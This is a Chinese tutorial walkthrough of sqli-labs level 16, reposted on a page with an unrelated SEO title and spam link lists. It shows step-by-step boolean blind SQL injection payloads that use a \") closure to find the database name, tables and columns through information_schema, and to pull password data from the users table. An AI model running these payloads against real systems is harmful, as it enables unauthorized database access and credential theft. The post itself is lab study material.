当前位置: 首页 > news >正文

南京做网站建设有哪些内容长沙seo优化推荐

南京做网站建设有哪些内容,长沙seo优化推荐,工信部网站备案的需要幕布,郑州网站建设制作文章目录 前言一、回顾上一关知识点二、靶场第十六关通关思路1、判断注入点2、猜数据库长度3、猜数据库名字4、猜表名长度5、猜表名名字6、猜列名长度7、猜列名名字8、猜数据长度9、猜数据名字 总结 前言 此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击…

文章目录

  • 前言
  • 一、回顾上一关知识点
  • 二、靶场第十六关通关思路
    • 1、判断注入点
    • 2、猜数据库长度
    • 3、猜数据库名字
    • 4、猜表名长度
    • 5、猜表名名字
    • 6、猜列名长度
    • 7、猜列名名字
    • 8、猜数据长度
    • 9、猜数据名字
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

上一关是典型的布尔盲注,是单引号闭合。这一关是")闭合。

二、靶场第十六关通关思路

  • 1、判断注入点
  • 2、猜数据库长度
  • 3、猜数据库名字
  • 4、猜表名长度
  • 5、猜表名名字
  • 6、猜列名长度
  • 7、猜列名名字
  • 8、猜数据长度
  • 9、猜数据名字

1、判断注入点

这一关和上一关唯一不同的就是闭合不同,我们一个个试就行。一般都是单引号、双引号,或者引号和括号混合。
注入语句为

1 or 1=1 
1 or 1=2 

发现没有反应,再试试

1' or 1=1#
1' or 1=2#

经过不断尝试payload为

1") or 1=1#
1") or 1=2#

在这里插入图片描述
在这里插入图片描述

2、猜数据库长度

注入语句为

1") or length(database())>7#

发现数据库长度大于7页面登录成功,大于8登录失败
在这里插入图片描述

3、猜数据库名字

注入语句为

1") or ascii(substr(database(),1,1))>114#

(如图所示)发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符’s’。我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为security
在这里插入图片描述
在这里插入图片描述

4、猜表名长度

注入语句为

1") or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

发现第一个数据库表名大于5页面正常,大于6页面false状态。(如图所示)
在这里插入图片描述
在这里插入图片描述
通过limit 0,1递增标注数字猜其他表名长度。
得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5

5、猜表名名字

1") or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116#

(如图所示)发现第四个表名第一个字符ascii码大于116正常,大于117页面false,得到第四个表名第一个字符ascii码为117,说明是字符’u’
通过substr(表名,1,1)递增标注数字到5,猜出此表名名字为users
在这里插入图片描述
在这里插入图片描述

6、猜列名长度

注入语句为

1") or (length((select column_name from information_schema.columns where table_schema=database() and table_name="users"limit 0,1)))>1#

(如图所示)猜出第一个列名长度大于1页面正常,大于2页面false,所以第一个列名长2。以此类推递增limit得到所有列名长度(略)。第二个列名长8,第三个列名长8。
在这里插入图片描述

在这里插入图片描述

7、猜列名名字

注入语句为

1") or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116#

猜到第二个列名第一个字符大于116正常,大于117页面false。通过substr(列名,1,1) 和limit 0,1不断递增标识数字查出所有列名名字。这里只演示了一个列名。得到username,password列名。

在这里插入图片描述
在这里插入图片描述

8、猜数据长度

注入语句为

1") or length((select password from users limit 0,1))>3#

(如图所示)猜出第一个密码长度大于3正常,大于4页面false。以此类推查所有数据长度。方法和上面一样就不展示了
在这里插入图片描述
在这里插入图片描述

9、猜数据名字

注入语句为

1") or ascii(substr((select password from users limit 0,1),1,1))>67#

(如图所示)猜出密码第一个字符大于67正常,大于68页面false。以此类推,猜出所有数据名字。
在这里插入图片描述
在这里插入图片描述


总结

这一关和上一关差不多,只是闭合方式不同。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

http://www.ds6.com.cn/news/48918.html

相关文章:

  • 国外网站注册软件个人网页在线制作
  • 做一名网站编辑要具备什么资格搜索网站有哪些
  • sdcms网站源码太原全网推广
  • 做企业竞争模拟的网站ai智能营销系统
  • 重庆大坪网站建设品牌推广软文
  • 青岛b2b网站建设北京网络seo推广公司
  • 专门做cos的网站广告投放公司
  • 领券购买网站是怎么做的扫描图片找原图
  • wordpress手机网站怎么做西安seo优化推广
  • 新网站外链怎么做推广网站的文案
  • 网站建设水上乐园广东病毒感染最新消息
  • 楼盘网站建设抖音seo招商
  • 增城网站怎么做seo视频广告接单平台
  • 南通专业做网站公司百度云网盘资源分享网站
  • 网站图解图片是用什么软件做的网站搭建公司哪家好
  • 深圳手机网站建设推广链接让别人点击
  • 网站建设方案书模板下载seo代运营
  • 百度对网站建设公司网站优化网络推广seo
  • 企业网站规范网络营销管理名词解释
  • wordpress搭建方案免费seo网站推广在线观看
  • 简单的企业网站php推广广告
  • 网站代理制作正规电商培训学校排名
  • 最大的网站模板网网站日常维护有哪些
  • 怎么在百度建个网站电商运营推广的方式和渠道有哪些
  • 上海高端网站建设深圳网络营销信息推荐
  • 如何做网站链接分析网上全网推广
  • 青岛手机网站制作网站内部链接优化方法
  • 网站代理备案步骤sem seo
  • 做网站有什么比较好看的动效公司建网站需要多少钱
  • 创建自己的网站需要准备什么投放广告找什么平台